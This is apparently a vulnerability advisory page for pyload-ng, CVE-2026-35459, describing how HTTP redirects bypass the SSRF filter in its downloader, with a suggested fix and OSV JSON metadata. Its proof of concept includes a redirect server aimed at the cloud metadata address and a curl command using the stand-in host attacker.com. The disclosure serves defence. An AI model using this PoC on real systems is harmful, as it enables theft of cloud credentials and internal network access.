PYSEC-2026-495

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-06-29 12:05
VLAI
Details

Summary

The fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to BaseDownloader.download() that checks the hostname of the initial download URL. However, pycurl is configured with FOLLOWLOCATION=1 and MAXREDIRS=10, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.

An authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.

Root Cause

The SSRF check at src/pyload/plugins/base/downloader.py:335-341 validates only the initial URL:

dl_hostname = urllib.parse.urlparse(dl_url).hostname
if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):
    self.fail(...)
else:
    for ip in host_to_ip(dl_hostname):
        if not is_global_address(ip):
            self.fail(...)

After the check passes, _download() is called. pycurl is configured at src/pyload/core/network/http/http_request.py:114-115 to follow redirects:

self.c.setopt(pycurl.FOLLOWLOCATION, 1)
self.c.setopt(pycurl.MAXREDIRS, 10)

No CURLOPT_REDIR_PROTOCOLS restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.

PoC

Redirect server (attacker-controlled):

from http.server import HTTPServer, BaseHTTPRequestHandler

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header("Location", "http://169.254.169.254/metadata/v1.json")
        self.end_headers()

HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()

Submit to pyload (requires ADD permission):

curl -b cookies.txt -X POST 'http://target:8000/json/add_package' \
  -d 'add_name=ssrf-test&add_dest=1&add_links=http://attacker.com:8888/redirect'

The SSRF check resolves attacker.com to a public IP and passes. pycurl follows the 302 redirect to http://169.254.169.254/metadata/v1.json without validation. Cloud metadata is downloaded and saved to the storage folder.

Impact

An authenticated user with ADD permission can access:

  • Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure — including IAM credentials and instance identity
  • Internal network services (10.x, 172.16.x, 192.168.x)
  • Localhost services (127.0.0.1)

This is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.

## Suggested Fix

Disable automatic redirect following and validate each redirect target:

# In HTTPRequest.__init__():
self.c.setopt(pycurl.FOLLOWLOCATION, 0)

Then implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:

self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)

And add a pycurl callback to validate redirect destination IPs before following.

Resources

  • CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.
Impacted products
Name purl
pyload-ng

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.0b3.dev96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.5.0a5.dev528",
        "0.5.0a5.dev532",
        "0.5.0a5.dev535",
        "0.5.0a5.dev536",
        "0.5.0a5.dev537",
        "0.5.0a5.dev539",
        "0.5.0a5.dev540",
        "0.5.0a5.dev545",
        "0.5.0a5.dev562",
        "0.5.0a5.dev564",
        "0.5.0a5.dev565",
        "0.5.0a6.dev570",
        "0.5.0a6.dev578",
        "0.5.0a6.dev587",
        "0.5.0a7.dev596",
        "0.5.0a8.dev602",
        "0.5.0a9.dev615",
        "0.5.0a9.dev629",
        "0.5.0a9.dev632",
        "0.5.0a9.dev641",
        "0.5.0a9.dev643",
        "0.5.0a9.dev655",
        "0.5.0a9.dev806",
        "0.5.0b1.dev1",
        "0.5.0b1.dev2",
        "0.5.0b1.dev3",
        "0.5.0b1.dev4",
        "0.5.0b1.dev5",
        "0.5.0b2.dev10",
        "0.5.0b2.dev11",
        "0.5.0b2.dev12",
        "0.5.0b2.dev9",
        "0.5.0b3.dev13",
        "0.5.0b3.dev14",
        "0.5.0b3.dev17",
        "0.5.0b3.dev18",
        "0.5.0b3.dev19",
        "0.5.0b3.dev20",
        "0.5.0b3.dev21",
        "0.5.0b3.dev22",
        "0.5.0b3.dev24",
        "0.5.0b3.dev26",
        "0.5.0b3.dev27",
        "0.5.0b3.dev28",
        "0.5.0b3.dev29",
        "0.5.0b3.dev30",
        "0.5.0b3.dev31",
        "0.5.0b3.dev32",
        "0.5.0b3.dev33",
        "0.5.0b3.dev34",
        "0.5.0b3.dev35",
        "0.5.0b3.dev38",
        "0.5.0b3.dev39",
        "0.5.0b3.dev40",
        "0.5.0b3.dev41",
        "0.5.0b3.dev42",
        "0.5.0b3.dev43",
        "0.5.0b3.dev44",
        "0.5.0b3.dev45",
        "0.5.0b3.dev46",
        "0.5.0b3.dev47",
        "0.5.0b3.dev48",
        "0.5.0b3.dev49",
        "0.5.0b3.dev50",
        "0.5.0b3.dev51",
        "0.5.0b3.dev52",
        "0.5.0b3.dev53",
        "0.5.0b3.dev54",
        "0.5.0b3.dev57",
        "0.5.0b3.dev60",
        "0.5.0b3.dev62",
        "0.5.0b3.dev64",
        "0.5.0b3.dev65",
        "0.5.0b3.dev66",
        "0.5.0b3.dev67",
        "0.5.0b3.dev68",
        "0.5.0b3.dev69",
        "0.5.0b3.dev70",
        "0.5.0b3.dev71",
        "0.5.0b3.dev72",
        "0.5.0b3.dev73",
        "0.5.0b3.dev74",
        "0.5.0b3.dev75",
        "0.5.0b3.dev76",
        "0.5.0b3.dev77",
        "0.5.0b3.dev78",
        "0.5.0b3.dev79",
        "0.5.0b3.dev80",
        "0.5.0b3.dev81",
        "0.5.0b3.dev82",
        "0.5.0b3.dev85",
        "0.5.0b3.dev87",
        "0.5.0b3.dev88",
        "0.5.0b3.dev89",
        "0.5.0b3.dev90",
        "0.5.0b3.dev91",
        "0.5.0b3.dev92",
        "0.5.0b3.dev93",
        "0.5.0b3.dev94",
        "0.5.0b3.dev95",
        "0.5.0b3.dev96"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35459",
    "GHSA-7gvf-3w72-p2pg"
  ],
  "details": "## Summary\n\nThe fix for CVE-2026-33992 (GHSA-m74m-f7cr-432x) added IP validation to `BaseDownloader.download()` that checks the hostname of the initial download URL. However, pycurl is configured with `FOLLOWLOCATION=1` and `MAXREDIRS=10`, causing it to automatically follow HTTP redirects. Redirect targets are never validated against the SSRF filter.\n\nAn authenticated user with ADD permission can bypass the SSRF fix by submitting a URL that redirects to an internal address.\n\n## Root Cause\n\nThe SSRF check at `src/pyload/plugins/base/downloader.py:335-341` validates only the initial URL:\n\n    dl_hostname = urllib.parse.urlparse(dl_url).hostname\n    if is_ip_address(dl_hostname) and not is_global_address(dl_hostname):\n        self.fail(...)\n    else:\n        for ip in host_to_ip(dl_hostname):\n            if not is_global_address(ip):\n                self.fail(...)\n\nAfter the check passes, `_download()` is called. pycurl is configured at `src/pyload/core/network/http/http_request.py:114-115` to follow redirects:\n\n    self.c.setopt(pycurl.FOLLOWLOCATION, 1)\n    self.c.setopt(pycurl.MAXREDIRS, 10)\n\nNo `CURLOPT_REDIR_PROTOCOLS` restriction is set anywhere in HTTPRequest. Redirect targets bypass the SSRF filter entirely.\n\n## PoC\n\nRedirect server (attacker-controlled):\n\n    from http.server import HTTPServer, BaseHTTPRequestHandler\n\n    class RedirectHandler(BaseHTTPRequestHandler):\n        def do_GET(self):\n            self.send_response(302)\n            self.send_header(\"Location\", \"http://169.254.169.254/metadata/v1.json\")\n            self.end_headers()\n\n    HTTPServer((\"0.0.0.0\", 8888), RedirectHandler).serve_forever()\n\nSubmit to pyload (requires ADD permission):\n\n    curl -b cookies.txt -X POST \u0027http://target:8000/json/add_package\u0027 \\\n      -d \u0027add_name=ssrf-test\u0026add_dest=1\u0026add_links=http://attacker.com:8888/redirect\u0027\n \nThe SSRF check resolves `attacker.com` to a public IP and passes. pycurl follows the 302 redirect to `http://169.254.169.254/metadata/v1.json` without validation. Cloud metadata is downloaded and saved to the storage folder.\n\n## Impact\n\nAn authenticated user with ADD permission can access:\n\n- Cloud metadata endpoints (169.254.169.254) for AWS, GCP, DigitalOcean, Azure \u2014 including IAM credentials and instance identity\n- Internal network services (10.x, 172.16.x, 192.168.x)\n - Localhost services (127.0.0.1)\n\nThis is the same impact as CVE-2026-33992 (rated Critical), achieved through a single redirect hop. The severity is reduced from Critical to High because authentication with ADD permission is now required.\n\n ## Suggested Fix\n\nDisable automatic redirect following and validate each redirect target:\n\n    # In HTTPRequest.__init__():\n    self.c.setopt(pycurl.FOLLOWLOCATION, 0)\n\nThen implement manual redirect following in the download logic with SSRF validation at each hop. Alternatively, restrict redirect protocols:\n\n    self.c.setopt(pycurl.REDIR_PROTOCOLS, pycurl.PROTO_HTTP | pycurl.PROTO_HTTPS)\n\nAnd add a pycurl callback to validate redirect destination IPs before following.\n\n## Resources\n\n- CVE-2026-33992 / GHSA-m74m-f7cr-432x: Original SSRF (Critical, unauthenticated). This bypass requires ADD permission.",
  "id": "PYSEC-2026-495",
  "modified": "2026-06-29T12:05:44.763368Z",
  "published": "2026-06-29T11:50:47.076880Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-7gvf-3w72-p2pg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33992"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35459"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/33c55da084320430edfd941b60e3da0eb1be9443"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/pyload-ng"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7gvf-3w72-p2pg"
    }
  ],
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…